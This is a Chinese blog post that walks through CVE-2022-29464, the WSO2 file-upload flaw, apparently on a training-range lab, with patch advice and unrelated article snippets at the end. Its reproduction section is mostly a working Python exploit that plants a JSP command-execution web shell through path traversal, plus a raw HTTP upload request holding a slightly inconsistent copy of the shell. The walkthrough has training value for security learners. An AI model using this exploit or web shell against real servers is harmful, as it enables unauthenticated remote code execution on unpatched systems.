WSO2 products 文件上传漏洞(CVE-2022-29464)

news2025/5/22 17:52:25

前言

CVE-2022-29464 是一个影响多个 WSO2 产品的严重远程代码执行(RCE)漏洞。这些产品包括 WSO2 API Manager、WSO2 Identity Server 和 WSO2 Enterprise Integrator 等。由于用户输入验证不当,该漏洞允许未经身份验证的攻击者在服务器上上传并执行任意文件。

关键细节

  • 严重性:严重 (CVSS 评分 9.8)
  • 影响:允许远程攻击者通过上传恶意文件来执行任意代码。
  • 受影响产品
    • WSO2 API Manager 2.2.0 及以上版本
    • WSO2 Identity Server 5.2.0 及以上版本
    • WSO2 Enterprise Integrator 6.2.0 及以上版本
    • 以及其他相关产品

漏洞利用

攻击者可以通过向易受攻击的端点(例如 /fileupload)发送特制的 HTTP POST 请求来利用此漏洞。该请求允许上传恶意的 JSP 脚本,然后可以通过网络浏览器访问该文件以触发其执行,从而获得远程命令执行的权限。

缓解措施

WSO2 已经为所有受支持版本的受影响产品发布了补丁。强烈建议用户立即应用这些补丁。对于无法立即应用补丁的用户,WSO2 提供了临时缓解措施,例如修改配置文件以删除 FileUploadConfig 部分中的特定映射。

漏洞利用示例

一次典型的攻击涉及通过 POST 请求将一个如 shell.jsp 的文件上传到服务器。上传后,攻击者可以通过浏览器访问该文件,从而执行恶意代码。

推荐措施

  • 应用补丁:更新到 WSO2 提供的最新版本。
  • 临时缓解:按照 WSO2 的指南修改配置文件,以防无法立即应用补丁。

有关更多技术细节和访问补丁的信息,可以访问官方的 WSO2 公告 和相关的 GitHub 仓库。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。
教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。
竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。
资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

详细请参考链接icon-default.png?t=N7T8https://github.com/hakivvi/CVE-2022-29464

想要看明白参考需要 JAVA 代码基础 

介绍

WSO2是一家知名的开源技术公司,提供一系列产品来帮助企业进行集成、API管理、身份管理和分析。以下是WSO2的主要产品:

  1. WSO2 API Manager

    • 功能:一个完整的API管理平台,支持API创建、发布、管理、监控和保护。适用于各种复杂的API场景,包括REST、GraphQL和AsyncAPI。
    • 安全:提供OAuth访问控制、细粒度安全策略和威胁防护机制,确保API安全访问。
    • 灵活性:支持在云端、本地或混合环境中部署,适应企业的不同需求​ (WSO2)​​ (WSO2 Micro Integrator Documentation)​。
  2. WSO2 Identity Server

    • 功能:专注于身份和访问管理(IAM),支持单点登录(SSO)、身份联合、身份认证和用户管理。
    • 安全:提供多层次的安全措施,包括加密密码、日志敏感信息掩码和传输层安全(TLS)配置​ (WSO2 Identity Server)​。
  3. WSO2 Micro Integrator

    • 功能:用于微服务架构的轻量级集成解决方案,支持创建复合微服务、消息路由、转换、消息中介和服务编排。
    • 特点:支持多种消息协议和数据格式的处理,包括REST、SOAP、JMS和MQTT,适用于复杂的企业集成需求​ (WSO2 Micro Integrator Documentation)​。

WSO2的产品以其开源、灵活和高度可扩展性而闻名,广泛应用于全球各大企业和政府机构中,用于支持其关键业务和服务。这些产品帮助企业在数字化转型过程中,简化API管理、增强身份安全和实现复杂系统的高效集成。

漏洞复现

打开靶场

页面如下,需要登录

社工搜了下默认的用户名和密码,尝试登录

登录成功了,但是这对解题并没有用

去 CVE 搜索了一下发现有 Poc

import requests
import argparse


def exploit(url):
    uurl = "http://" + url + "/fileupload/toolsAny"
    shell = """<FORM>
        <INPUT name='cmd' type=text>
        <INPUT type=submit value='Run'>
    </FORM>
    <%@ page import="java.io.*" %>
        <%
        String cmd = request.getParameter("cmd");
        String output = "";
        if(cmd != null) {
            String s = null;
            try {
                Process p = Runtime.getRuntime().exec(cmd,null,null);
                BufferedReader sI = new BufferedReader(new
    InputStreamReader(p.getInputStream()));
                while((s = sI.readLine()) != null) { output += s+"</br>"; }
            }  catch(IOException e) {   e.printStackTrace();   }
        }
    %>
            <pre><%=output %></pre>"""

    files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp": shell}
    response = requests.post(url=uurl, files=files, verify=False)
    if (response.status_code == 200):
        print('It looks likely vulnerable')
        print(
            'Please use this url:' + '{\33[91m' + 'https://' + url + '/authenticationendpoint/wavesky.jsp' + '\33[0m}' + ' to view and attack~')
    else:
        print('It is strong')


if __name__ == '__main__':
    parameter = argparse.ArgumentParser(description='Poc CVE-2022-29464:')
    parameter.add_argument('--file', help='url file', required=False)
    parameter.add_argument('--url', help='ip:port', required=False)
    para = parameter.parse_args()

    if para.url:
        exploit(para.url)
        exit()
    else:
        parameter.print_help()
PS D:\CVE> python .\CVE-2022-29464.py --url "eci-2zehz8yh4xe8hcm8umi9.cloudeci1.ichunqiu.com:9445/"
It looks likely vulnerable
Please use this url:{https://eci-2zehz8yh4xe8hcm8umi9.cloudeci1.ichunqiu.com:9445//authenticationendpoint/wavesky.jsp} to view and attack~

输入命令测试 

直接访问 flag 

EXP 的话则是使用 BurpSuite 改包

POST /fileupload/toolsAny HTTP/2
Host: http://eci-2zed31qpgb0lqk2ppaj3.cloudeci1.ichunqiu.com:9445
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String command = request.getParameter("command");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(command,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1886771.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Snappy使用

Snappy使用 Snappy是谷歌开源的压缩和解压的开发包&#xff0c;目标在于实现高速的压缩而不是最大的压缩 项目地址&#xff1a;GitHub - google/snappy&#xff1a;快速压缩器/解压缩器 Cmake版本升级 该项目需要比较新的cmake&#xff0c;CMake 3.16.3 or higher is requi…

【免费数字孪生平台】医院数据可视化的新选择

随着大数据、云计算、人工智能等技术的深度融合&#xff0c;医院数据智能化升级已成为推动医疗服务质量飞跃的关键力量。 医院作为守护生命健康的前沿阵地&#xff0c;每天处理着海量的医疗数据。从患者病历、检查结果到医疗设备运行状态、医疗资源分配&#xff0c;每一项数据都…

中画幅巡检相机-SHARE 100M A10

【毫厘之间&#xff0c;洞见非凡】 ——SHARE 100M A10中画幅测量相机&#xff0c;巡检行业的新选择 在巡检行业&#xff0c;精准度是关键&#xff0c;深圳赛尔智控科技有限公司最新推出的SHARE 100M A10中画幅测量相机&#xff0c;基于先进的IMX461影像传感器&#xff0c;拥有…

【Linux杂货铺】Linux学习之路:期末总结篇1

第一章 什么是Linux? Linux 是 UNIX 操作系统的一个克隆&#xff1b;它由林纳斯 本纳第克特 托瓦兹从零开始编写&#xff0c;并在网络上众多松散的黑客团队的帮助下得以发展和完善&#xff1b;它遵从可移植操作系统接口&#xff08;POSIX&#xff09;标准和单一 UNIX 规范…

【都市传说】乖乖之神如何保佑台湾AI行业

引言 都市传说中&#xff0c;许多故事都充满神秘和趣味&#xff0c;但很少有故事能够与现代高科技行业相联系。在台湾&#xff0c;关于一款名为“乖乖”的零食如何成为IT和半导体行业的保护神的传说&#xff0c;既神秘又引人入胜。这篇文章将详细探讨乖乖之神如何在台湾AI行业…

第三篇——始计篇:诡计,就是引诱对方犯错误

目录 一、背景介绍二、思路&方案三、过程1.思维导图2.文章中经典的句子理解3.学习之后对于投资市场的理解4.通过这篇文章结合我知道的东西我能想到什么&#xff1f; 四、总结五、升华 一、背景介绍 这一篇讲解了诡计&#xff0c;对于诡计的解释和定位&#xff1b;我们更应…

Linux_fileio学习

参考韦东山老师教程&#xff1a;https://www.bilibili.com/video/BV1kk4y117Tu?p12 目录 1. 文件IO函数分类2. 函数原型2.1 系统调用接口2.2 标准IO接口 3. fileio内部机制3.1 系统调用接口内部流程3.1 dup函数使用3.2 dup2函数使用 4. open file4.1 open实例4.2 open函数分析…

代码查重软件-自力更生

为了减轻工作量&#xff0c;自研了简单实用的代码查重工具&#xff0c;可以对若干文件之间进行查重。通过调试&#xff0c;相似度大于80%的没有一个是冤枉的。好用。去掉雷同的&#xff0c;其他的代码再慢慢看。

华为手机怎么打印文件?

关于华为手机打印的问题&#xff0c;如果您有打印机&#xff0c;并且已经成功和华为手机相连&#xff0c;在解决上就要容易很多。 具体操作如下&#xff1a; 选择文件 文件来源&#xff1a;华为手机上的文件可以来自多个应用&#xff0c;如图库、备忘录、文件管理等&#xf…

晨持绪科技:新手开抖音网店大概多久能做起来

抖音&#xff0c;这个汇聚亿万目光的舞台&#xff0c;早已成为电商的新战场。新手上路&#xff0c;开一间属于自己的抖音网店&#xff0c;大概需要多久能做起来?这个问题如同询问春日里的花蕾&#xff0c;何时绽放?答案藏于不断努力与摸索的过程之中。 "万事开头难"…

Oracle 集群的守护进程

ohas&#xff1a;主要用于守护cluster ware进程&#xff0c;在单节点建立集群的时候&#xff0c;没有crs&#xff0c;只有ohas、cluster ware GPnP&#xff1a;管理clusterware的配置信息&#xff0c;放在本地磁盘上 crs&#xff1a;管理clusterware中的资源&#xff0c;数据库…

大数据期末复习——hadoop、hive等基础知识

一、题型分析 1、Hadoop环境搭建 2、hadoop的三大组件 HDFS&#xff1a;NameNode&#xff0c;DataNode&#xff0c;SecondaryNameNode YARN&#xff1a;ResourceManager&#xff0c;NodeManager &#xff08;Yarn的工作原理&#xff09; MapReduce&#xff1a;Map&#xff0…

STM32mp157aaa按键中断实验

效果图&#xff1a; 源码&#xff1a; #include "key.h" void hal_key1_rcc_gpio_init() {// 使能GPIOF组RCC->MP_AHB4ENSETR | (0x1 << 5);// 设置引脚位输入模式GPIOF->MODER & (~(0X3 << 18));GPIOF->MODER & (~(0X3 << 16))…

2025年U.S.News世界大学排名前200榜单

近日&#xff0c;U.S. News公布了2025全球最佳院校排名&#xff0c;作为公认的四大世界高校排行榜&#xff0c;该排名主要围绕着学术声誉、学术成果等&#xff0c;因此备受访问学者、联合培养博士生及博士后申请者们青睐&#xff0c;知识人网小编特作介绍并发布排名前200的榜单…

CentOS 7 搭建rsyslog日志服务器

CentOS 7 搭建rsyslog日志服务器 前言一、IP地址及主机名称规划1.修改主机名 二、配置rsyslog日志服务器1.安装rsyslog服务2.编辑/etc/rsyslog.conf 文件3.启动并启用rsyslog服务4.验证端口是否侦听 三、在rsyslog日志服务器上配置firewalld防火墙四、配置rsyslog日志客户端1.编…

DSPy:变革式大模型应用开发

大模型相关目录 大模型&#xff0c;包括部署微调prompt/Agent应用开发、知识库增强、数据库增强、知识图谱增强、自然语言处理、多模态等大模型应用开发内容 从0起步&#xff0c;扬帆起航。 大模型应用向开发路径&#xff1a;AI代理工作流大模型应用开发实用开源项目汇总大模…

Git使用——首次创建本地仓库、配置、初始化、关联远程仓库

1、安装 Git软件 官网&#xff1a;git-scm.com 有时候官网打不开&#xff0c;这里留存个之前下载过的安装包&#xff1a; https://download.csdn.net/download/weixin_43908355/89502977 2、配置本地仓库 在准备建仓库的文件夹里&#xff0c;右键点击&#xff1a;Git Bash …

把 AI 人机炼成高玩,游戏 AI 技术实践指南,码住!

今天&#xff0c;为大家深入浅出地讲明白上亚运的经典 IP《梦三国 2》&#xff0c;到底应用了哪些来自网易数智的 AI 黑科技。看完你就会觉得&#xff1a;原来做 AI&#xff0c;我也行&#xff01; 方案概述 游戏作为 AI 落地最佳的试验田&#xff0c;近年来已经产生了多个极具…

maven构建断网springboot

maven构建断网springboot 我的依赖仓库&#xff08;本地电脑&#xff0c;记住常用的那几个&#xff09;org.springframework.boot下的 spring-boot-starter-parent spring-boot-starter-web /Users/lin/Documents/repo 使用maven进行创建空白项目 在pom.xml中补全parent类…

【文档+源码+调试讲解】科研经费管理系统

目 录 目 录 摘 要 ABSTRACT 1 绪论 1.1 课题背景 1.2 研究现状 1.3 研究内容 2 系统开发环境 2.1 vue技术 2.2 JAVA技术 2.3 MYSQL数据库 2.4 B/S结构 2.5 SSM框架技术 3 系统分析 3.1 可行性分析 3.1.1 技术可行性 3.1.2 操作可行性 3.1.3 经济可行性 3.1…